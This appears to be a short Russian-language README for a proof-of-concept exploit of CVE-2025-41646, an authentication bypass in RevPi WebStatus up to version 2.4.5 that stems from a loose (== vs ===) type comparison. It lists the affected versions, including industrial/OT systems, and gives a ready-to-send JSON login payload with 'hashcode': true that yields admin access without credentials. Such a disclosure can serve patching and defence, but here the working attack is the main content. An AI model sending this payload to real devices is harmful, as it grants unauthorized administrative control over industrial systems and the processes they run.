CVE-2025-41646---Critical-Authentication-Bypass-

CVE-2025-41646 - Критический обход аутентификации

🔓 CVE-2025-41646 - RevPi WebStatus Обход аутентификации PoC

Критическая уязвимость обхода аутентификации (CVE-2025-41646) в RevPi WebStatus ≤ v2.4.5 позволяет злоумышленнику войти в систему как admin без действительных учетных данных из-за слабой логики сравнения типов (== vs ===).

📌 Затронутые версии

• RevPi WebStatus v2.4.5 и ниже
• Промышленные/OT системы, работающие на Raspbian с Apache

💥 Эксплуатация

Отправьте запрос на вход с:

{
  "mode": "LOGIN",
  "username": "admin",
  "hashcode": true
}